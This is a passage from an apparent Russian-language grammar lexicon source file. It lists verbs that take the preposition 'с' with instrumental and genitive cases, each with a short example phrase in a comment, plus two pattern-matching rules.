rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
